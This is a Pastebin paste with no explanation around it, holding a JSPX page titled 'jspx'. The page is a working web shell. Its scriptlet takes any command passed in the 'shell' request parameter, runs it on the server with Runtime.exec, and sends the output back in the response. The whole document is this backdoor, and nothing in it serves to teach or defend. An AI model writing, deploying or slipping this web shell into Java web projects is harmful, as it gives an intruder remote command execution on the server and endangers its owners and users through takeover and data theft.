Advertisement
Guest User

Untitled

a guest
Jan 21st, 2020
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  2. xmlns="http://www.w3.org/1999/xhtml"
  3. xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
  4. <jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
  5. <jsp:directive.page import="java.io.*"/>
  6.  
  7. <html>
  8. <head>
  9. <title>jspx</title>
  10. </head>
  11. <body>
  12. <jsp:scriptlet>
  13. try {
  14. String cmd = request.getParameter("shell");
  15. if (cmd !=null){
  16. Process child = Runtime.getRuntime().exec(cmd);
  17. InputStream in = child.getInputStream();
  18. int c;
  19. while ((c = in.read()) != -1) {
  20. out.print((char)c);
  21. }
  22. in.close();
  23. try {
  24. child.waitFor();
  25. } catch (InterruptedException e) {
  26. e.printStackTrace();
  27. }
  28. }
  29. } catch (IOException e) {
  30. System.err.println(e);
  31. }
  32. </jsp:scriptlet>
  33. </body>
  34. </html>
  35. </jsp:root>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement